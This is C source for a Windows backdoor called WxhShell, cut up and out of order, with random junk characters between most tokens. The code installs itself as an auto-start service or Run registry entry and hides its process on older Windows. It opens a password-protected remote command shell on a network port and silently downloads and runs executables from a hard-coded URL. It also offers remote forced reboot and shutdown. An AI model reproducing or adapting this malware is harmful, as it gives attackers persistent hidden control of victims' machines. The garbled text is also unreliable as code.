bnuC ULONG UniqueProcessId; &OSyU4r ULONG InheritedFromUniqueProcessId; Nd4!:. } PROCESS_BASIC_INFORMATION; )<1}`9G |K6hY-uC PROCNTQSIP NtQueryInformationProcess; H/ 6GD,0 s%R'c_cGZ static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ~h*p A8^L static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; xiPP&$mg g"Z X1X HANDLE hProcess; +~A<&7[} PROCESS_BASIC_INFORMATION pbi; #%i-{t+_> b,#E.%SLw HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); p;rGaLo:u if(NULL == hInst ) return 0; {1ic*cZS +vtI1LC;_ g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); )pXw 3Fo g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); /y"Y o NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ihJC)m`Hbl y3O Nn~k if (!NtQueryInformationProcess) return 0;
h8!;RN[ <KDl2>O hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); cAE.I$T( if(!hProcess) return 0; Y)I8(g}0 3yAzt*dZ if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; vYNh0)$%F J12ZdC'O CloseHandle(hProcess); S qQqG3F sm>Hkci% hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); afMIq Q? if(hProcess==NULL) return 0; JDzkv%E^ q(yw,]h]{ HMODULE hMod; X;ZR"YgT char procName[255]; "kjjq~l unsigned long cbNeeded; \k|ZbCWg &n:F])`2 if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); SdfrLdi}Y ]{[VTjC7rY CloseHandle(hProcess); Z<#beT6 .#b! # if(strstr(procName,"services")) return 1; // 以服务启动 $bU|'}QR t'EH_U return 0; // 注册表启动 &:` 7 } [lC*|4t& "=W7=V8w // 主模块 9J?G"JV? int StartWxhshell(LPSTR lpCmdLine) RkJ\? { #mX=Y>l SOCKET wsl; 96Tc:#9i BOOL val=TRUE; URW'*\Xjb int port=0; .Wq`qF(; struct sockaddr_in door; qu[x=LZ_ ,diV;d if(wscfg.ws_autoins) Install(); e6f!6a+% BV&}(9z port=atoi(lpCmdLine); LTY@}o]\U 1px:(8]{ if(port<=0) port=wscfg.ws_port; |400N
+MK T]nZ3EZ WSADATA data; 3X{=*wvt if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; MQQ!@I` X!n-nms if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; Kk~0jP_ B9 setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); U"xI1fg%b door.sin_family = AF_INET; Z8=4cWI~; door.sin_addr.s_addr = inet_addr("127.0.0.1"); [j5^Zb&0 door.sin_port = htons(port); V&_5q`L I@ch 5vl4 if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 3Lq?Y7#KQp closesocket(wsl); =ot`V; Q> return 1; [pmZ0/l } P,O9On AO'B p5:Q if(listen(wsl,2) == INVALID_SOCKET) { ?|:!PF*L~z closesocket(wsl); Uc}L/ax return 1; N
L]:<FG } 7;n'4LIa9 Wxhshell(wsl); ~"5WQK`@ WSACleanup(); S {z%Q .J~iRhVOF return 0; #4''Cs WW;S } XTyn[n 8*)zoT*A // 以NT服务方式启动 (G"b)"Qum VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) T.HI
$(d { EG0NikT? DWORD status = 0; /
GJ"##< DWORD specificError = 0xfffffff; j*$GP'Df3 {P(Z{9 u% serviceStatus.dwServiceType = SERVICE_WIN32; -?!Z/#i4 serviceStatus.dwCurrentState = SERVICE_START_PENDING; /wCee G,< serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ?}B9=R$Pi serviceStatus.dwWin32ExitCode = 0; a7q-*%+d5 serviceStatus.dwServiceSpecificExitCode = 0; y6;'?.Y1 serviceStatus.dwCheckPoint = 0; Gz!72H serviceStatus.dwWaitHint = 0; -^;G^Uq6= )j@k[}R#g hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); }{Lf 4|8 if (hServiceStatusHandle==0) return; -b(:kAwStk d <qbUk3; status = GetLastError(); "aP>}5<h if (status!=NO_ERROR) E+"INX7 { @}x)>tqD serviceStatus.dwCurrentState = SERVICE_STOPPED; bsPw Tp^ serviceStatus.dwCheckPoint = 0; 1(!QutEb serviceStatus.dwWaitHint = 0; [ WZ<d^L serviceStatus.dwWin32ExitCode = status; G_[|N> serviceStatus.dwServiceSpecificExitCode = specificError; *Yvfp{B SetServiceStatus(hServiceStatusHandle, &serviceStatus); $Kb-mFR return; 788q<7E } ,+*8@>c dp2". serviceStatus.dwCurrentState = SERVICE_RUNNING; {TdKS serviceStatus.dwCheckPoint = 0; S53 [Ja serviceStatus.dwWaitHint = 0; _>A])B
^ if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); }k<b)I*A } R8\y|p#c "`,PLC // 处理NT服务事件,比如:启动、停止 S,3e|-&$ VOID WINAPI NTServiceHandler(DWORD fdwControl) ^$_ifkkLz { +]CKu$,8 switch(fdwControl) T[<llh'+ { bR*T}w$< case SERVICE_CONTROL_STOP: $z{HNY*2 serviceStatus.dwWin32ExitCode = 0; QD<^VY6 serviceStatus.dwCurrentState = SERVICE_STOPPED; !V@Y \M
d serviceStatus.dwCheckPoint = 0; v<tH 3I+ serviceStatus.dwWaitHint = 0; \9i.dF { N!"GwH SetServiceStatus(hServiceStatusHandle, &serviceStatus); KL.{)bi } 0tn5>Dsk return; n4k.tq case SERVICE_CONTROL_PAUSE: 8o4<F%ot serviceStatus.dwCurrentState = SERVICE_PAUSED; .K}u`v T break; R.|fc5_"+ case SERVICE_CONTROL_CONTINUE: g;v{JB serviceStatus.dwCurrentState = SERVICE_RUNNING; DD|%F break; \(Zdd
\, case SERVICE_CONTROL_INTERROGATE: ,Xk8{= break; xHykU;p@ }; .m/Lon E SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0'BR Sa< } MJV&%E6{:{ 7x-k-F3 // 标准应用程序主函数 N iNZh; int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 52l| { MY9?957F Zi@?g IiX // 获取操作系统版本 x}N+vK OsIsNt=GetOsVer(); fPK|Nw]b GetModuleFileName(NULL,ExeFile,MAX_PATH); &!/L^Y*+ ID'@}69.S // 从命令行安装 !&E>8h if(strpbrk(lpCmdLine,"iI")) Install(); cKF02?)TX lUCdnp;w' // 下载执行文件 %~^R Iwm if(wscfg.ws_downexe) { 9eGM6qW\_ if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) SY <!-g<1F WinExec(wscfg.ws_filenam,SW_HIDE); xfO!v> } *qY`MW '4dnC2a] if(!OsIsNt) { $hndb+6q // 如果时win9x,隐藏进程并且设置为注册表启动 HQ@X"y
n HideProc(); XV %L6x StartWxhshell(lpCmdLine); *[W! ng } 4=F~^Xc` else N;-+)=M,rf if(StartFromService()) t}nZrD // 以服务方式启动 IH[/fd0 StartServiceCtrlDispatcher(DispatchTable); r]BB$^@@V else mN3%;$ND7 // 普通方式启动 $L:g7?)k StartWxhshell(lpCmdLine); :r^i0g|5P Iy|]U&`
return 0; .yi.GRk } xE;fM\7pu 9N=Dls X_Y$-I$qd i0p"q p =========================================== MV9{>xX a/L?R
Uu ?@_3B]Fs 39"8Nq|e \+Qx}bS{ "M_X9n_ " ~O@V;y o~<fw]y #include <stdio.h> oc\rQ? #include <string.h> }4_izKS #include <windows.h> pgU54Ef #include <winsock2.h> O+.V,`O #include <winsvc.h> 4d0PW#97. #include <urlmon.h> wGnjuIR Sr2c'T" #pragma comment (lib, "Ws2_32.lib") }Ax$}# #pragma comment (lib, "urlmon.lib") rm3~] i1 SP #define MAX_USER 100 // 最大客户端连接数 ?$-OdABXHK #define BUF_SOCK 200 // sock buffer u4z]6?,"e #define KEY_BUFF 255 // 输入 buffer uZmfvMr3 lP9a*>=a #define REBOOT 0 // 重启 :Nc~rOC_ #define SHUTDOWN 1 // 关机 ",&}vfD4M _a15R/S #define DEF_PORT 5000 // 监听端口 vx!nC}f"k` &z1r$X.AW #define REG_LEN 16 // 注册表键长度 !c(B^E #define SVC_LEN 80 // NT服务名长度 "vU:qwm !R{L`T0 // 从dll定义API ']Y:f)i# typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); T`a [~: typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); /MQd [03] typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 2$[u&__E typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); {hg,F?p
' m]7yc>uDy // wxhshell配置信息 CzNSJVE5 struct WSCFG { PcUi+[s;x int ws_port; // 监听端口 Fo?2nQ< char ws_passstr[REG_LEN]; // 口令 [uAfE3 int ws_autoins; // 安装标记, 1=yes 0=no /:yKa=$ char ws_regname[REG_LEN]; // 注册表键名 =\:YNP/ char ws_svcname[REG_LEN]; // 服务名 `jP\*k`~] char ws_svcdisp[SVC_LEN]; // 服务显示名 .~W7{SY[ char ws_svcdesc[SVC_LEN]; // 服务描述信息 !WVF{L,/I char ws_passmsg[SVC_LEN]; // 密码输入提示信息 q3scz int ws_downexe; // 下载执行标记, 1=yes 0=no pN*>A^ char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" AU-/-h=Mr char ws_filenam[SVC_LEN]; // 下载后保存的文件名 f*oL8"?u& P-^Z7^o-bX }; \zj8| + 2&$ A x // default Wxhshell configuration qMI%=@= struct WSCFG wscfg={DEF_PORT, J#:%| F% "xuhuanlingzhe", x:sTE u@ 1, .]v8W51Y "Wxhshell", V-7!)&q "Wxhshell", <FGNV+?%e "WxhShell Service", Q6.},o "Wrsky Windows CmdShell Service", \8_&@uLm "Please Input Your Password: ", l6l)M 1, *<Qn)Az "http://www.wrsky.com/wxhshell.exe", k*z)AR "Wxhshell.exe" K +w3YA }; 1C .<@IZ m{R`1cN=Hg // 消息定义模块 [0MVsc= char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; *QAK9mc char *msg_ws_prompt="\n\r? for help\n\r#>"; Z[0xqGYLB char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; evimnV char *msg_ws_ext="\n\rExit."; mKxQU0 ` char *msg_ws_end="\n\rQuit."; !y4o^Su[ char *msg_ws_boot="\n\rReboot..."; -fG;`N5U char *msg_ws_poff="\n\rShutdown..."; O$#`he/jm char *msg_ws_down="\n\rSave to "; ajkRL|^ ~5cLI;4h char *msg_ws_err="\n\rErr!"; =C<_rBY char *msg_ws_ok="\n\rOK!"; (F$q|qZ% ZZl)p\r char ExeFile[MAX_PATH]; eT}c_h) int nUser = 0; GbStqR~^# HANDLE handles[MAX_USER]; W J^r~*r int OsIsNt; bhuA,} J,+|
Fb SERVICE_STATUS serviceStatus; ||qsoF5B] SERVICE_STATUS_HANDLE hServiceStatusHandle; sEhdkN}6 ]'T-6 // 函数声明 e7vPiQCc int Install(void); =$b^X?x int Uninstall(void); Sfh \4h$H int DownloadFile(char *sURL, SOCKET wsh); &:'Uh
W-t int Boot(int flag); \J9@p void HideProc(void); LG&~#x int GetOsVer(void); #W!@j"8eK int Wxhshell(SOCKET wsl); SBeb}LZ void TalkWithClient(void *cs); X<Vko^vlj int CmdShell(SOCKET sock); Qy@chN{eP int StartFromService(void); M@s2T|bQw int StartWxhshell(LPSTR lpCmdLine); L
F Z +XFF@h&=t VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); e:!&y\'"9 VOID WINAPI NTServiceHandler( DWORD fdwControl ); sl/# 1B 0QEVL6gw // 数据结构和表定义 U.?,vw'aai SERVICE_TABLE_ENTRY DispatchTable[] = 7M^!t X { ;wTl#\|w0 {wscfg.ws_svcname, NTServiceMain}, m./lrz {NULL, NULL} |910xd`Z }; FS`{3d2K + {T m-X` // 自我安装 g4I(uEJk int Install(void) `4 w0*;k; { ho fZpM char svExeFile[MAX_PATH]; 9:YiLoz? HKEY key; d
t0?4 d strcpy(svExeFile,ExeFile); Ay2Vz>{ Tfs7SC8ta // 如果是win9x系统,修改注册表设为自启动 <P}{0Y~@*W if(!OsIsNt) { >RF[0s'- if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { $S=lm { RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); /-G;#Wm RegCloseKey(key); ~G5)ya- if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { k gWF@"_ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ;f0+'W RegCloseKey(key); Wx;9N return 0; >8>`- } Qmzj1e$6x } >!`T=(u! } e)7[weGN else { ,C(")?4aJ tC-(GDGy5 // 如果是NT以上系统,安装为系统服务 _YO`x SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); . (Q;EF`_U if (schSCManager!=0) J<u,Y= -~ { el7P SC_HANDLE schService = CreateService 6D3fkvcZ ( /`}C~ schSCManager, M,q'
wscfg.ws_svcname, gWgYZX wscfg.ws_svcdisp, Q[`_Y3@j SERVICE_ALL_ACCESS, QfT&y & SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , !Edc]rg7 SERVICE_AUTO_START, pmIQD" SERVICE_ERROR_NORMAL, 2$=?;~ svExeFile, Aw9^}k}UfD NULL, jyLpe2 S NULL, 4vp,izNW NULL, _@jl9<t=_ NULL, WR gAc% NULL QjF.U8 ); OHM.xw*?. if (schService!=0) F}2U8O { 5NBc8h7 V CloseServiceHandle(schService); @6}c\z@AxM CloseServiceHandle(schSCManager); 0@^YxU[YN strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); |UBR8 strcat(svExeFile,wscfg.ws_svcname); !-LPFy> if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { VU}UK$JN RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); AEOo]b*&d RegCloseKey(key); "A,]y E return 0; tlI3jrgw } $PHKI B( } Y@_ i32,r CloseServiceHandle(schSCManager);
4\dc } zrD$loaW.' } }4
P@`>e/` &6r".\;^ return 1; H_vOZ0 } p\b:uy6# "xdXHuX // 自我卸载 #CHsH{d int Uninstall(void) [[oX$0Fp\! { o24`5Jdh HKEY key; X.%Xi'H y 3c]zDjV if(!OsIsNt) { .oN<c]iqE if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { n M,m#"AI RegDeleteValue(key,wscfg.ws_regname); W446;)?5 RegCloseKey(key); h,rGa\X~0 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { kIP~XV~ RegDeleteValue(key,wscfg.ws_regname); b ]1SuL RegCloseKey(key); kHm1aE< return 0; dkLc"$(O } 9)e`mO*n } eIg '
!8h? } )=[K$>0k else { (s,Nq~O 3yZtyXRPn SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); :*)~nPVV if (schSCManager!=0) 1sGkbfh{t { :-ax5,J> q SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); z,I7 PY& G if (schService!=0) 5i83(>p3]e { K3!|k(jt if(DeleteService(schService)!=0) { AL&}WbUC CloseServiceHandle(schService); +mMn1& CloseServiceHandle(schSCManager); e7>)Z return 0; 4Y Xtl+G } xJJlV P CloseServiceHandle(schService); D0~ WK
stl } ?b^VEp.;} CloseServiceHandle(schSCManager); m:/ nw, } rV[#4,} PF } :-Ho5DHg J<>z}L{ return 1; *8kg6v% } 4~ZQsw` Lk4&&5q // 从指定url下载文件 [/6$P[ int DownloadFile(char *sURL, SOCKET wsh) eP(%+[g { 'g|%Ro/ HRESULT hr; 2:&8FdU char seps[]= "/"; i8Y l1nF char *token; 7==Uz?}C char *file; N@58R9P<p char myURL[MAX_PATH]; `IFt;Ja\6 char myFILE[MAX_PATH]; &s\$&%| #fzvK+ strcpy(myURL,sURL); rRYP~
$c token=strtok(myURL,seps); ` {k>I^Pg while(token!=NULL) G0^23j { "z=A=~~<{ file=token; [o*u!2 r token=strtok(NULL,seps); D$YAi%*H } HC?yodp^ d3&gHt2 GetCurrentDirectory(MAX_PATH,myFILE); Jr% u[d> strcat(myFILE, "\\"); |t4k&Dkx` strcat(myFILE, file); B[S.6"/H send(wsh,myFILE,strlen(myFILE),0); ~ifq_Ag. send(wsh,"...",3,0); &!N5}N& hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); r*0a43mC1 if(hr==S_OK) U@ALo return 0; (|bMtT?"x else }rn}r4_a return 1; ?*9U
d aVz<RS } w4:n(.;HK 67<zBw2 // 系统电源模块 4)]g=-3 int Boot(int flag) 8rGW G { ?0DCjh8We HANDLE hToken; #fk)Y1 TOKEN_PRIVILEGES tkp; ,B5Ptf# 0{BPT>' if(OsIsNt) { rf@/<Wu OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); <{[AG3/Zj4 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); h<Yn0(. tkp.PrivilegeCount = 1; /21d%T:} tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ]i8K )/ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); >|o-&dk if(flag==REBOOT) { mkk74NY if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ?\<2*sW [k return 0; GH7{_@pv8 } P9B@2# else { 0u,=OvU if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) e%R+IH5i
return 0; f`:e#x } prlB9,3|C } &M6)-V4 else { /raM\EyrlP if(flag==REBOOT) { = EyxM if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Xd)ba9{ return 0; 9x;/q7 } OV7vwj/- else { #Vs/1y`() if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 3${?!OC return 0; Zj<oh8 } Zv7@ } 0k:&7(j @E,{p"{ return 1; q-o=lU" } #_2V@F+, $\81WsL' // win9x进程隐藏模块 Eh!%NeO void HideProc(void) AU^Wy|i5Q { umcbIi(' $-=aqUU HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); HoH3.AY X if ( hKernel != NULL ) @Sq=#f/= { ]WWre}, pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); !Ya
+ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ~_8Ve\Y^ / FreeLibrary(hKernel); B
0 K2Uw } +(/XMx}a @!0j)5% return; >h[tHM
O } 7/PHg)&
a}i{b2B // 获取操作系统版本 w?jmi~6 int GetOsVer(void) 7 z<!2 { /nv1.c)k OSVERSIONINFO winfo; reu[}k ~ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); [O"i!AQ GetVersionEx(&winfo); 2O<Sig= if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) )P|%=laE8 return 1; >z>UtT: else Mky$#SI11 return 0; ;f=:~go } .7ahz8v p\+#`] Q7} // 客户端句柄模块 /D1Bf:'( int Wxhshell(SOCKET wsl) gW/H#T, { ,=$yvZs4[] SOCKET wsh; S~(4q#Dt- struct sockaddr_in client; &U4]hawbOU DWORD myID; <Cg;l<$`b ]DmqhK` while(nUser<MAX_USER) ?aOR ^ K { +
{a int nSize=sizeof(client); 45kMIh~~X wsh=accept(wsl,(struct sockaddr *)&client,&nSize); R3?~+y& if(wsh==INVALID_SOCKET) return 1; PO&xi9_ lmH!I)5 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); rt^z#2$ if(handles[nUser]==0) *ivbk /8 closesocket(wsh); _j%Rm:m;< else ,J}lyvkd nUser++; M8KfC! } /
s H*if WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Sw5H+! lz{>c.Ll[ return 0; 1 _5[5K^ } C>T6{$xkC <>j,Q // 关闭 socket x-tA{_: void CloseIt(SOCKET wsh) v|{*y { X){F^1CT{ closesocket(wsh); et9c<' nUser--; hp,T(D| ExitThread(0); g:[&]o} :9 } 2mU}"gf[ 7DOAG[gH // 客户端请求句柄 Z:T4Z}4N void TalkWithClient(void *cs) ZN1QTb { GExG1n- 5Qy,Pkje SOCKET wsh=(SOCKET)cs; f1=8I_>= char pwd[SVC_LEN]; uUc[s"\ char cmd[KEY_BUFF]; -F8%U:2a char chr[1]; 3g-}k int i,j; J,7_5V@jJ a#uJzYB0 while (nUser < MAX_USER) { 1"v;w!uh 1d\K{ 7i# if(wscfg.ws_passstr) { *,'"\n if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); t8?+yG; //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); []dRDe;# //ZeroMemory(pwd,KEY_BUFF); QtN 0|q{af i=0; 3>L1}zyM] while(i<SVC_LEN) { A%Bz52yg 'kx{0J? // 设置超时 !%Z1"FDm/ fd_set FdRead; /f# rN_4 struct timeval TimeOut; .zegG=q FD_ZERO(&FdRead); \2NiI]t] FD_SET(wsh,&FdRead); E"L'm0i[[ TimeOut.tv_sec=8; :-6_X< TimeOut.tv_usec=0; @F3 d9t- int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); .S?,%4v%% if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); |?g2k:fzB7 mY`b|cS3p$ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); W]M[5p]* pwd=chr[0]; k?S-peyRO if(chr[0]==0xd || chr[0]==0xa) { )3G?5
OTS pwd=0; u[dI81` break; VKR6 i } YO,GZD`-o i++; pkk0?$l", } niA{L:4 7s.sbP~ // 如果是非法用户,关闭 socket 7,+:QY@ if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 0f-gQD } 4e%SF|(Y'h ~+T~}S send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); [xE\IqwM send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); j;+nnpg 4p1{Ady while(1) { ol:_2G2xQ r;Dl ZeroMemory(cmd,KEY_BUFF); ;- cq#8S wwpvmb // 自动支持客户端 telnet标准 Q0 ^?jh j=0; A$5!]+ while(j<KEY_BUFF) { -7pZRnv if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); l[.pI];T cmd[j]=chr[0]; !MGQ+bD6 if(chr[0]==0xa || chr[0]==0xd) { Y.}n ,y|J} cmd[j]=0; "arbUX~d break; Ql\GL" } u;Z~Px4]v j++; *sw$OnVb } >G-D& A+ h,#AY[ Q // 下载文件 ,YiBu^E9 if(strstr(cmd,"http://")) { ZAiQofQ:2 send(wsh,msg_ws_down,strlen(msg_ws_down),0); ]0O pd9 if(DownloadFile(cmd,wsh)) /Wj9Stj5 send(wsh,msg_ws_err,strlen(msg_ws_err),0); G4=v2_] else 9^aMmN&6N2 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :_?>3c}L } \?GMtM,
else { Q p<6qM35 "1l d4/ switch(cmd[0]) { 7Y$p3]0e+ 4{J%`H`Q! // 帮助
_y8)jD" case '?': { 7pGlbdS send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 0&w.QoZY( break; :ox+WY } aIm\tPbb // 安装 $MP'j9-S? case 'i': { 3N<FG.6 if(Install()) &1VC0"YJWy send(wsh,msg_ws_err,strlen(msg_ws_err),0); >Vg<J~[g else ^WVr@6 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |#MA?oz3T break; JM!o(zbt } U`:$1*(` // 卸载 X#pE!mT case 'r': { OP>'<FK if(Uninstall()) fwOvlD&e send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]^.#d else Z$+0gm\Cnw send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \a}%/_M\ break; N]5-# } !rwv~9I // 显示 wxhshell 所在路径 //AS44^IS case 'p': { #5'9T:8 char svExeFile[MAX_PATH]; sYp@.?Tz strcpy(svExeFile,"\n\r"); ya|7hz { strcat(svExeFile,ExeFile); e&wWlB![ send(wsh,svExeFile,strlen(svExeFile),0); y=q\1~] Z break; )TV'eq } QDyL0l{C // 重启 \5O4}sm$* case 'b': { zQD$+q5h send(wsh,msg_ws_boot,strlen(msg_ws_boot),0);
4INO . if(Boot(REBOOT)) F7L+bv send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4egq Y0A else { &
XcY|y=W closesocket(wsh); 8wwD\1pLS ExitThread(0); +e4o~p } ZG< |